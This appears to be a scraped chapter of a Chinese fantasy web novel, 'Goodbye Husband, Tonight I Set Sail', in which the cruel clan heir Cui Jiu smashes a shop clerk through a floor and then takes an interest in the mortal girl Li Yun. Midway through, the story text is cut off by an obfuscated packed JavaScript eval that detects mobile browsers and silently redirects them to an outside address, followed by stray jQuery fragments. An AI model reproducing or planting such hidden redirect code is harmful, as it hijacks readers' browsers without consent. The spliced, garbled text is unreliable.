11. 崔九郎君
作品:《再见了夫君,今晚我就要去远航》 此话一出,二楼所有人面色齐变。
李韫弯唇假笑,向后退一步,好个能拉仇恨的少年。
一旁的胡璇在少年从栏杆处跃来,便面色一黑,现下直接将后退的李韫拉入自己身后,眼中不善。
青年修士店员反倒扬起笑凑上来,说话语气一变,比方才面对李韫和胡璇时还带着一丝盛气凌人不同,十分讨好谄媚。
“崔九郎君怎不与萧君、赵君,还有兰懿仙子,在四楼看珍金拍卖,怎么下来了?”
崔、萧、赵、兰......
青年修士店员说的话和态度,让人不自觉想起先前西市坊门处一排从天而降的黄金雄狮白玉车。
少年的身份呼之欲出。
世族。
怒视过来的目光悄无声息收敛,只剩下若有似无的敬畏好奇。
胡璇整个人瞬间紧绷起来,眼中藏着慎重,一只手抓着李韫的手腕微微收紧,另一只手悄无声息抚上腰间的黑色束腰中藏着的软剑。
她在东市坊中听过这位少年的名头,年方十五筑基巅峰,一步之遥越金丹,为人喜怒无常,上一秒可能还在满脸笑意纯真无害赠人灵石金铢,下一刻可能就会轻描淡写让人将其带入水牢处以极刑。
由于过于出众的天资,是崔家这一代毋庸置疑的少主。
“啧。”
满室气氛骤然沉寂下来,崔九歪着头,那双漂亮的桃花眼依旧笑意吟吟盯着李韫,却无端嗤笑一声。
“砰!”
他手中啃了一节的甘蔗重重敲在青年店员身上,视线缓缓移过去,精致的面容上还略带着些婴儿肥,露出的神色却是让人不寒而栗。
“我要去哪里,还需要与你通禀不成,莫说一个小小的珍金阁,就算是你们枕金楼的楼主在此,也没那么大的胆子敢询问我的去处。”
青年修士店员在甘蔗压在肩旁上的那一瞬间,整个人就仿佛承受着巨大的压力,面容瞬间苍白可怖,腰背不受控制俯首弯曲,他脚下的木板更是一寸寸生出裂缝。
他后知后觉意识到自己说错了话,满目惊骇慌乱,强撑着一口气,颤抖道:“不敢!是我说错了话,还、还请崔君饶恕!小人给崔君赔罪,小人给崔君赔罪!”
崔九微微一笑,语调轻快纯真:“知道错了——”
拉长的语调宛若凌迟,却又好似一抹希望,青年修士店员讨好渴求地看着崔九,而他笑意语调不变,缓缓开口。
“那就,消失好啦。”
“轰!”
一道剧烈的声响,自青年修士店员脚下发出,随着他惊恐地哀嚎,尺后的褐红木地板连带着黑石房梁骤然生出破洞。
一阵尘烟惊起,一楼传来喧闹的惊恐怒骂。
李韫视线从那处破洞掠过,只见方才的青年修士店员深深嵌入一楼的石地板中,口吐鲜血、奄奄一息,绝望地流泪求救。
她大脑中“嗡”的一声长鸣不止,愣愣看向那个朱红锦袍、神色纯稚天真笑吟吟的少年,眼中不敢置信。
崔九扬着笑,视线移回,却在看见李韫的神色时,眼中的笑意落了下来,歪头看她,带着一丝残忍的凉薄开口:“为什么这么看我,你不开心吗,我可是在为你出气呢,毕竟他方才如此轻慢你。”
李韫眼中的震惊像风吹来一片灰色的云,触动她的眼睫,颤了颤。她看着眼前张扬肆意、行事毫无顾忌的崔姓少年,声音放得很轻。
“你并不是在为我出气,而是在宣泄你的不满。”
在这喧闹不息的珍金阁中,甚至连走路的脚步声都比她说话的声音要响亮。
但在这样混乱的环境中,她所说的每一个字都准确无误地出现在他人耳中。
二楼的所有人都面色苍白地看向她,为这位绿裙少女的无妄之灾感到倒霉,同时也为她竟然敢如此直白的冒犯世族,而感到心惊。
李韫也有些害怕,心脏扑通扑通的跳,仿佛久久无法从刚才面前破洞生出的响声中回神。
但她依旧这样说了。
这并不是一个天真纯质的少年,是此间能够修仙的太初域养出来的世家怪物。
从他的眼中,李韫看不到丝毫怜悯和仁慈,只有高高在上、无尽的冷漠,和佯装出来的对她的兴趣。
李韫蜷了蜷有些泛凉的掌心,思索一瞬询问道:“珍金阁做了什么,让你觉得不开心了?”
这样的话,和方才青年修士店员的话如出一辙。
在场的人都有些不忍直视这绿裙少女的下场,可惜了这么一个温和明媚的女君。
却不想,气氛突变。
这位尊贵无比、喜怒无常的崔家少主,突然笑了起来。
精致绮丽的面容,上挑含情的桃花眸,骤然将此间一触即发的紧绷氛围破开,消融寒冰于无形。
崔九刚开始看到李韫眼中的畏惧时,几乎瞬间沉下脸来,他对这场春日宴的不满挤压在他心口,生出无尽怒火却无法发泄。
而李韫眼中的畏惧就是催化剂,他险些压不住理智。
就在他打算用灵压席卷整个珍金阁的前一秒,这个他看得顺眼的凡人突然怯生生开口,兀得让他一愣。
那双漂亮含情的桃花眼一转不转的盯着李韫,几个呼吸过去,崔九低头失笑一般,又仰面伸了伸懒腰。
再看向李韫时,面上的笑容真切了几分,语气依旧是轻快好听的少年音:“你不害怕我。”
李韫缓缓摇摇头:“你会杀我吗?”
崔九唇角微勾,指了指破洞口下面沉入一楼地板的青年修士,很是无辜道:“我可没杀他。”
问答牛头不对马嘴,但所有人都听明白了崔九的言下之意,悄悄松了口气。
春水城中无人能够承受来自崔家少主的怒火,哪怕这愤怒的缘由不值一提,也没人敢去挑衅和冒犯太初域十大世家的威严。
“咚咚咚!”
从楼上突然下来一群穿戴着珍金阁服饰玉挂的人,为首的那位儒雅中年男子态度温和恭敬地迎上来,好似看不见这厢混乱和地上那个破洞似的,面不改色问候崔九。
“今日是珍金阁的过错,扰了崔君的好兴致,若崔君赏光,稍后在下备好厚礼亲自登门谢罪,万求崔君展颜。”
面对李韫尚且露出几分温和的少年,闻声转头讥讽道:“你也配?!”
看着像珍金阁阁主的中年男子,拱手弯腰:“崔君所言极是。”
崔九懒得搭理他,摆摆手让人退下,又指了指破洞口那个青年修士店员,道一句别让人死了。
他双手抱胸,有些冷淡开口:“该讨的债,我自会向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132785|196243||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你们邀请我来的少楼主讨。”话语一顿,恶狠狠勾唇,“再多说一个字,把你们舌头都割了。滚!”
一群人浩浩荡荡、战战兢兢地来,又浩浩荡荡、战战兢兢地走。
二楼原本的客人和店员,也都随着人群一起离开。
没人想在这里,触这小祖宗的霉头。
李韫轻轻拍了拍牵着她手腕的胡璇,示意她们也悄悄离开。
脚步一动,身侧传来懒洋洋的声音,少年不知何时站在李韫旁边,偏头看向她:“我让你走了吗?”
胡璇目光一冷,李韫安抚地拍了拍她的手臂,微笑道:“这珍金阁二楼确实没什么好东西,我准备去别的店铺逛逛,崔郎君还有什么事情吗?”
崔九瘪嘴,扯了下唇角:“我今岁出关,本不打算来这犄角旮旯的偏僻小城参加春日宴,但我听说枕金楼十年一度的太初拍卖会要开始了,结果被祂们框着过来才知此间是珍金阁而非枕金楼,而枕金楼十年一度的拍卖会两年后才举行。”
崔九越说越咬牙切齿,想起那几个把他从家里骗过来的人,只觉都抽上一顿鞭子犹觉不够。
“帝秦不复,天下奇珍尽归世家,崔君若寻珍宝,与其在这里耗费光阴,不如回家翻翻自家库房。”
胡璇冷不丁开口,不软不硬呲崔九,她眼中闪过不耐烦,心道今日真是出门真该卜一卦。
崔九摸着下巴,没被胡璇阴阳怪气刺到,反而挑眉哼哼:“懂得倒是多,可惜我想要的东西在荒域。”
荒域。
那是什么地方?
李韫听不明白胡璇和崔九的对话,站了这么久,她有些累了,忍不住低低打个哈欠,眼尾渗出些水光。
不等她问,只见崔九弯起桃花眼,语气上扬欢快道:“你想要买什么东西,这珍金阁没什么好东西,不如同我走吧,我崔家珍宝如沙砾繁星,与我走任你挑选。”
“啊……?”
李韫懵了一下,好似不明白他在说什么。
崔九觉得眼前这个凡人看起来格外顺眼舒服。
她的眼睛像一阵晴朗的风,永远清透明亮,就算刚才的阴云浮现在她的眼中,但走两步也就散了。
他从未见过这样的人。
安静温和,又好似一轮月,她光是站在那里什么都不用做,就能让人不自觉将目光放在月中世界的平和上。
所以,他很有耐心地重复了一遍刚才的话,又补充道:“你是没有灵气护体的凡人,但若同我前往崔家,我必保你百年富贵荣华、平安康乐,并且我西山崔家此代虽非世族之首,但在太初也是举世尊崇,你若跟在我身边,日后权势地位不可估量。”
他信心满满等待李韫激动地答复:“怎样,何时启程?”
李韫完全不明白眼前少年的突发奇想,整个人呆呆懵懵的,但一旁的胡璇已经忍无可忍,怒火中烧。
无人窥见她的眼底,悄无声息浮现一抹紫芒。
她握着李韫手腕,忍不住收紧,可又无能为力去为李韫拒绝崔姓世族的招揽,更何况是眼前的崔氏少主。
他所说的每一个字,只要李韫此刻答应,下一瞬便会有无数人蜂拥而来,为他之言变为事实。
李韫吃痛,无奈看向胡璇,示意她松一松。
“阿璇。”

